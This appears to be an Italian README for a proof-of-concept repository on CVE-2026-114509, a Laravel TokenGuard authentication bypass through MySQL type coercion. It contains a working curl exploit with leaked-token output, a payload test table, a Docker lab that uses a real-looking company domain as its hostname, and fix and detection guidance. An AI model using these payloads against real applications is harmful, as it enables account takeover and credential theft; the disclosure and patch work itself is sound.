
Proof of concept, analisi della causa radice e laboratorio Docker per CVE-2026-114509, un bypass dell'autenticazione Laravel TokenGuard non autenticato su MySQL/MariaDB che porta alla compromissione dell'account.
Proof of concept, analisi e laboratorio riproducibile per CVE-2026-114509, un bypass
dell'autenticazione non autenticato in TokenGuard di Laravel che porta alla compromissione dell'account quando
l'applicazione viene eseguita su MySQL o MariaDB.
| Campo | Valore |
|---|---|
| CVE ID | CVE-2026-114509 |
| Advisory | GHSA-f9x3-7vq9-cph6 |
| CVSS v4.0 | 9.2 (Critico) AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H |
| CWE | CWE-1287 (Validazione impropria del tipo di input specificato), CWE-287 (Autenticazione impropria) |
| Affetto | laravel/framework < 12.68.0, >= 13.0.0, < 13.29.0 |
| Corretto in | 12.68.0, 13.29.0 |
| Vettore | Corpo JSON POST/GET con api_token come array di interi |
| Impatto | Bypass dell'autenticazione, compromissione dell'account, divulgazione delle credenziali |
Un TokenGuard configurato con driver => token e hash => false accetta una credenziale
non stringa. Inviando {"api_token":[0]} come corpo JSON si fa sì che Laravel costruisca
whereIn('api_token', [0]). MySQL esegue quindi un cast implicito della colonna varchar a intero,
così ogni token che non inizia con una cifra viene valutato come 0 e corrisponde. La prima riga
della tabella users viene restituita a un attaccante non autenticato.
curl -s -X GET http://target/api/user \
-H "Accept: application/json" \
-H "Content-Type: application/json" \
-d '{"api_token":[0]}'
{"id":1,"name":"Admin","email":"[email protected]","api_token":"admin_secret_token_12345"}
Per lo sfruttamento devono essere presenti contemporaneamente tre livelli indipendenti.
src/Illuminate/Auth/TokenGuard.php (v11.43.0, build vulnerabile):
$token = $this->getTokenForRequest();
if (! empty($token)) {
$user = $this->provider->retrieveByCredentials([
$this->storageKey => $this->hash ? hash('sha256', $token) : $token,
]);
}
Solo empty() viene controllato. empty([0]) è false perché l'array contiene un solo elemento, quindi
l'array passa direttamente al provider. Non esiste alcuna protezione is_string().
INsrc/Illuminate/Auth/EloquentUserProvider.php:
foreach ($credentials as $key => $value) {
if (is_array($value) || $value instanceof Arrayable) {
$query->whereIn($key, $value);
} elseif ($value instanceof Closure) {
$value($query);
} else {
$query->where($key, $value);
}
}
Un array viene interpretato come un elenco di valori candidati, quindi la query diventa:
select * from `users` where `api_token` in (0)
api_token è una colonna varchar. Confrontare una colonna di tipo stringa con un intero forza un
cast implicito del valore della colonna a numero:
select cast('admin_secret_token_12345' as unsigned); -- 0
select cast('abc' as unsigned); -- 0
select cast('1abc' as unsigned); -- 1
Ogni token che inizia con una lettera viene convertito in 0, quindi where api_token in (0) corrisponde.
PostgreSQL e SQLite rifiutano o si comportano in modo errato su questo confronto, motivo per cui la vulnerabilità
è specifica ai database della famiglia MySQL.
Misurata sul lab in questo repository (Laravel 11.43.0, MySQL 8.0.46).
| Payload | Trasporto | HTTP | Risultato |
|---|---|---|---|
| (nessuno) | — | 401 | rifiutato |
Bearer wrong_token | header | 401 | rifiutato |
?api_token=wrong | query string | 401 | rifiutato |
?api_token[]=0 | query string | 401 | rifiutato — sempre una stringa |
{"api_token":0} | corpo JSON | 401 | rifiutato — empty(0) è true |
{"api_token":["0"]} | corpo JSON | 401 | rifiutato — stringa vs varchar |
{"api_token":[1]} | corpo JSON | 401 | nessuna riga con valore cast 1 |
{"api_token":[0.5]} | corpo JSON | 401 | mancata corrispondenza del cast float |
{"api_token":[0]} | corpo JSON | 200 | bypass |
{"api_token":[0,1]} | corpo JSON | 200 | bypass |
Il payload deve arrivare come un vero array tipizzato. Le query string e la codifica dei form producono sempre stringhe, motivo per cui è necessario il corpo JSON.
È incluso un lab Docker completo. Vedi docs/reproduction.md per
la procedura completa, oppure eseguilo direttamente:
docker compose up -d --build
docker compose exec app php artisan key:generate
docker compose exec app php artisan migrate:fresh --seed
Aggiungi il nome host del lab a /etc/hosts:
echo "127.0.0.1 angkasagroup.co.id" | sudo tee -a /etc/hosts
Poi verifica:
./poc.sh http://angkasagroup.co.id
auth:apiapi_token in chiaro
quando hash => false, il che rende la compromissione persistenteusers è un amministratore, il bypass concede
privilegi amministrativicomposer require laravel/framework:^12.68
La correzione consiste in un singolo controllo di tipo:
if (is_string($token) && ! empty($token)) {
'hash' => true sulla guardia API. L'archiviazione con hash trasforma l'array in un TypeError
invece di una corrispondenza.TokenGuard con Laravel Sanctum o Passport, che risolvono i token tramite un
indice hash dedicato anziché un whereIn non vincolato.api_token non sia una stringa:if (! is_string(request()->input('api_token'))) {
abort(401);
}
I log dell'applicazione mostreranno un'autenticazione riuscita senza un login precedente. Cercare
corpi di richiesta JSON in cui api_token è un array anziché una stringa:
"api_token":[0]
"api_token":[1]
A livello di database, abilitare il general query log e configurare avvisi su:
where `api_token` in (0)
.
├── README.md this document
├── docs/
│ ├── CVE-2026-114509.pdf rendered analysis (this README)
│ └── reproduction.md step-by-step lab walkthrough
├── docker-compose.yml nginx + php-fpm + mysql lab
├── docker/
│ ├── Dockerfile
│ ├── nginx.conf
│ └── php.ini
├── src/ Laravel 11.43.0 application
└── poc.sh verification script
Questo repository esiste per la ricerca difensiva, la verifica delle patch e i test di sicurezza autorizzati. Eseguilo solo contro sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta a testare. L'accesso non autorizzato a sistemi informatici è un reato penale nella maggior parte delle giurisdizioni.
Il lab si associa a 127.0.0.1 ed è destinato esclusivamente all'uso locale.